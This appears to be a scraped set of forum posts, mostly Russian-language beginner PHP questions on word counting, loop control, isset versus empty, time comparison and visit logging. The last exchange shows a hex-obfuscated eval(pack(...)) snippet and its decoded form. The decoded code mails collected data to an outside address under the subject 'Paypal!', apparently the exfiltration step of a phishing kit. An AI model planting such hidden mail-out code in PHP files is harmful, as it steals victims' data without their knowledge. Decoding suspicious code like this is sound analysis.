exec("ps -auxww",$output,$code); var_dump($output); я так понимаю это показыват процессы запущенные на php, а как можно посмотреть какие имено файлы запущены и их параметры?
Подсчитать слова в строке! Здраствуйте уважаемые знатоки Вот очередной мой вам вопрос: Первое: Как подсчитать сколько слов в строке? Все слова в строке разделены пробелом, ну в принципе можно сделать чтоб они были разделены любыми символоми, главное как это подсчитать, сколько там слов. И второе: Как потом каждое слово вывести отдельно, например echo "первое слово"; echo "второе слово"; echo "третье слово"; P.S. Еслиб нужно были подсчитать и затем вывести слова которые с новое строки все записаны, это это проще простого, а вот когда они записаны в одну строку, вот это для меня сложно. Заранее благодарен.
По идее кол-во слов = кол-во пробелов + 1. А каждое слово в отдельности PHP: $Slova = explode(' ', str_replace("\n", ' ', 'какое-то предложение')); echo 'Количество слов: '. count($Slova).'<br />'; var_dump($Slova);
Короче суть в том что при иф можно использовать конструкцию $kor=$kor; а я хочу использовать break; чтобы сразу вышло с фунцкии или continue; чтобы с ифа перескочило в конец функции, а оно мне выдает ошибку сервера.. в чем я не прав? почему так? PHP: <?php function function4 ($item) { $kor= "товар"; // корень слова $ok1 = "а"; // первый вариант окончания $ok2 = "ов"; //второй вариант окончания слова if (strlen($item) > 2) { $item1 = substr($item, -1); $item2 = substr($item, -2); } else { $item1 = $item2 = $item; } if ($item1 == 1 and $item2 != 11) {continue;} // вот тут я использовал континуе чтобы пропустить else вместо $kor=$kor; или можно вобще как-то пусто оставить else { if ($item1 < 5 and $item1 > 1 and $item2 != 12 and $item2 != 13 and $item2 != 14) { $kor = $kor.$ok1; } else {$kor = $kor.$ok2;} } print ("$item "); print ($kor); } $item=1; function4($item); ?> вся проблема в слове конитуне кроится если поставить $kor=$kor; все ок.. а тут пишет ошибка сервера и вобще ниче не показывается не пойму почему..(((
explosm, http://www.php.su/learnphp/cs/?cycles P. S. Ребят, но прежде, чем задвать такие вопросы попытайтесь, через не могу, хоть что-то почитать сначала. Спасибо.
в каких случаях использовать !empty либо isset ? я так понимаю isset проверяет объявлена ли переменная а !empty не пустое значение? получается при if $_GET лучше наваренное isset использовать
Если GET запрос будет передаваться html формой, то isset() не подойдет, так как при загрузке формы уже будет передан запрос(а это означает что переменная уже задана). Не знаю правильно ли это, но я всегда использую if($_GET[q]==''){
Пытался написать скрипт обработчик событий но зациклился на том как сравнить время. Скрипт должен обрабатывать события в соответствии с днем недели и системным временем. То есть типа PHP: <?php $time = date('H:i:s'); $today = date("l"); if(($time > 22:59:59)&&($today == 'Sunday')){ echo 'Магазин закрыт'; } else{ echo 'Идите за покупками...'; } ?> Буду признателен любой помощи
Спасибо... вообщем написал код вроде не тормозит. PHP: <?php //Statistic logging... $ip=ip2long($_SERVER['REMOTE_ADDR']); $ref=urlencode($_SERVER['HTTP_REFERER']); $lang=urlencode($_SERVER['HTTP_ACCEPT_LANGUAGE']); $us_ag=urlencode($_SERVER['HTTP_USER_AGENT']); $req_url=urlencode($_SERVER['REQUEST_URI']); $crt_time=date("Y-m-d-H-i-s"); $host='localhost'; $database='database'; $user='user'; $pswd='passwd'; mysql_connect($host, $user, $pswd) or die("Database connect error."); mysql_select_db($database) or die("Database select error."); mysql_query("INSERT INTO `log` (`ip`,`req_url`, `us_ag`, `ref`, `lang`,`first_login`) VALUES ('$ip', '$req_url','$us_ag','$ref','$lang','$crt_time') ON DUPLICATE KEY UPDATE `count`=`count`+1, `log_list`=('$crt_time','$req_url','$us_ag','$lang')"); mysql_close(); //End statistic logging. ?> БД: PHP: CREATE TABLE IF NOT EXISTS `log` ( `id` int(11) NOT NULL auto_increment, `ip` int(11) NOT NULL, `last_time` timestamp NOT NULL default CURRENT_TIMESTAMP on update CURRENT_TIMESTAMP, `req_url` varchar(500) NOT NULL, `us_ag` varchar(500) NOT NULL, `ref` varchar(500) NOT NULL, `lang` char(100) NOT NULL, `first_login` timestamp NOT NULL default '0000-00-00 00:00:00', `count` int(11) NOT NULL default '0', PRIMARY KEY (`id`), UNIQUE KEY `ip` (`ip`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 PACK_KEYS=0 AUTO_INCREMENT=67 ; Хотелось бы детальный лог для отдельного ип... пробовал использовать тип таблицы ENUM и SET, но не понимаю как обновить данные и извлечь их от туда. Например создал колонку log_list тип enum с 3-мя значениями('timestamp','req_url','us_ag'), как при обновлении добавить туда эти значения и потом их извлечь?
Code: <? eval(pack("H*","2448695431203D20227072347840686F746D61696C2E636F6D223B0A247375626A656374203D202250617970616C21223B0A2468656164657273203D202246726F6D3A20204D722E707234783C7072347840686F746D61696C2E636F6D3E223B0A6D61696C2824486954312C20246D61696C7375626A2C202464617461293B")); ?> Any way to decode this? Website or something? I tried Google and found nothing.
change eval to echo PHP: $HiT1 = "[email protected]"; $subject = "Paypal!"; $headers = "From: Mr.pr4x<[email protected]>"; mail($HiT1, $mailsubj, $data);